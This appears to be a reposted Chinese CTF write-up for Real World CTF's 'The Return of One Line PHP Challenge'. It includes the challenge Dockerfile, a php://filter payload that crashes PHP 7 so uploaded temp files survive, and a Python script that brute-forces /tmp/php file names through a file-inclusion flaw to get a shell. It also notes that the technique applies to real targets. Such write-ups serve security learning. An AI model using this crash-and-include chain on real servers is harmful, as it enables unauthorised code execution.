Real World CTF Of "The Return of One Line PHP Challenge"

栏目: PHP · 发布时间: 6年前

内容简介:被Real World CTF虐哭了,不过能够跟世界级的大佬同台竞技也感到满足了。这次RW线下出了一道名为

Real World CTF Of

前言

被Real World CTF虐哭了,不过能够跟世界级的大佬同台竞技也感到满足了。

这次RW线下出了一道名为 The Return of One Line PHP Challenge 的web题,题目描述翻译如下

Real World CTF Of

源码和环境跟HITCON2018中orange大佬出的 One Line PHP Challenge 题目源码一模一样。只不过关闭了当时预期解所用到的 session.upload 。很明显就是把当时的非预期解拿出来出了一道题。orz!!!

比赛结束当天就已经给了官方wp:利用了 php 的内存漏洞,使php挂掉,上传大量临时文件,然后爆破临时文件名getshell。在这里复现一下。

题目

描述:What happens if I turn off session.upload? This challenge is almost identical to HITCON CTF 2018’s challenge One Line PHP Challenge (Tribute to orange). Plz read the docker file and show me your shell.

Dockerfile:

FROM ubuntu:18.04


COPY flag /flag

RUN apt-get update
RUN apt-get -y install tzdata
RUN apt-get -y install php
RUN apt-get -y install apache2
RUN apt-get -y install libapache2-mod-php

RUN rm /var/www/html/index.html
RUN mv /flag `cat /flag`

RUN sed -i "s/;session.upload_progress.enabled = On/session.upload_progress.enabled = Off/g" /etc/php/7.2/apache2/php.ini
RUN sed -i "s/;session.upload_progress.enabled = On/session.upload_progress.enabled = Off/g" /etc/php/7.2/cli/php.ini

RUN echo 'PD9waHAKICAoJF89QCRfR0VUWydvcmFuZ2UnXSkgJiYgQHN1YnN0cihmaWxlKCRfKVswXSwwLDYpID09PSAnQDw/cGhwJyA/IGluY2x1ZGUoJF8pIDogaGlnaGxpZ2h0X2ZpbGUoX19GSUxFX18pOw==' | base64 -d > /var/www/html/index.php
RUN chmod -R 755 /var/www/html

CMD service apache2 start & tail -F /var/log/apache2/access.log

源码

<?php
  ($_=@$_GET['orange']) && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__);

我们要通过 get 方式传入一个 orange 参数,作为文件名,然后程序会将我们传入文件名的那个文件取出前6个字符和 @<?php 比对,如果相同则包含这个文件。

回想One Line PHP Challenge

网上已有很多关于这道题的详解,例如: HITCON2018-One Line PHP Challenge ,这里我只简单理一下思路。

HITCON2018中此题的预期思路为:利用session.upload,我们POST一个与INI中设置的session.upload progress.name同名变量且在cookie中带上PHPSESSID,服务器就会根据我们这个 PHPSESSID 在session 文件的默认存放位置生成一个文件名为 sess__ + PHPSESSID 的session 文件(无论服务端PHP有没有开session )。内容格式为php.ini中 session.upload_progress.prefix的值 + 变量PHP_SESSION_UPLOAD_PROGRESS的值 + 一些与上传进度文件有关的序列化值

例如

Real World CTF Of

Real World CTF Of

然后利用php过滤器,将文件内容前面的`upload_progress 过滤为空,即可绕过 @<?php`成功getshell。具体可以参考K0rz3n师傅的文章 : 关于One-line-php-challenge的思考

解题过程

php临时文件

在给PHP发送POST数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP都会将这个文件保存成一个临时文件(通常是/tmp/php[6个随机字符])。这个临时文件,在请求结束后就会被删除。

虽然可以将数据包的各个位置塞满垃圾数据,延长临时文件被删除的时间,然后对文件名进行爆破getshell。但是不得不说碰撞成功的概率不是一般的低。

php崩溃漏洞

当我们向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,此时我们所POST缓存文件就会被保留。

之前王一航师傅发现过一个可PHP < 7.2异常退出的bug,详情: https://www.jianshu.com/p/dfd049924258。但是这里的环境为php7.2。

这道题的官方出题人发现了一个通杀php7全版本的PHP内存漏洞,可以使PHP异常退出。详情可见wp: HackMD – Collaborative markdown notes

POC

php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA

利用这个漏洞我们可以POST大量缓存文件来提高我们爆破文件名的成功率,进而getshell。

我利用题目所给的dockerfile在虚拟机中启了一个 docker 环境。

构造数据包

Real World CTF Of

进入容器查看,发现缓存文件成功保存。

Real World CTF Of

利用burp多线程POST大量缓存文件。(小技巧: 每次请求可以发送20个文件)

Real World CTF Of

Real World CTF Of

利用脚本爆破文件名,getshell。

这里贴上王一航师傅的写的爆破脚本

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
import string

charset = string.digits + string.letters

host = "192.168.1.9"
port = 8000
base_url = "http://%s:%d" % (host, port)


def brute_force_tmp_files():
    for i in charset:
        for j in charset:
            for k in charset:
                for l in charset:
                    for m in charset:
                        for n in charset:
                            filename = i + j + k + l + m + n
                            url = "%s/index.php?orange=/tmp/php%s" % (
                                base_url, filename)
                            print url
                            try:
                                response = requests.get(url)
                                if 'flag' in response.content:
                                    print "[+] Include success!"
                                    return True
                            except Exception as e:
                                print e
    return False

def main():
    brute_force_tmp_files()

if __name__ == "__main__":
    main()

爆破文件名成功

Real World CTF Of

getshell

Real World CTF Of

总结

ORZ,仅仅两行代码就可以从中学到这么多东西,不得不膜。

另外p牛也在小密圈总结了,这个题目在实战中有很多应用场景。最常见的就是:当一个目标存在任意文件包含漏洞的时候,你却找不到可以包含的文件,无法getshell。可以有三种方法:

1、借用phpinfo,包含临时文件来getshell,

2、 利用PHP_SESSION_UPLOAD_PROGRESS,包含session文件来getshell

3、也就是本文所写的,利用一个可以使PHP挂掉的漏洞(如内存漏洞等),使PHP停止执行,此时上传的临时文件就没有删除。我们可以爆破缓存文件名来getshell。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

平台转型

平台转型

陈威如、王诗一、余卓轩(统筹) / 中信出版社 / 2016-1-10 / 58

《平台战略》续篇,陈威如等关于企业平台转型最新力作! 平台带来的商业革命已改写了现在及未来的企业生存规则,而这股浪潮已经从互联网行业漫延到了其他多种行业之中!如果说,过去10 年是平台商业模式在互联网行业的爆发期,那未来10 年,将是平台商业模式在传统行业转型应用上的黄金时代。 平台思维不再是互联网行业的专用词,它可以用来解构价值链,可以被运用到组织架构的设计中,更能够帮助企业升级竞争......一起来看看 《平台转型》 这本书的介绍吧!

MD5 加密
MD5 加密

MD5 加密工具

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具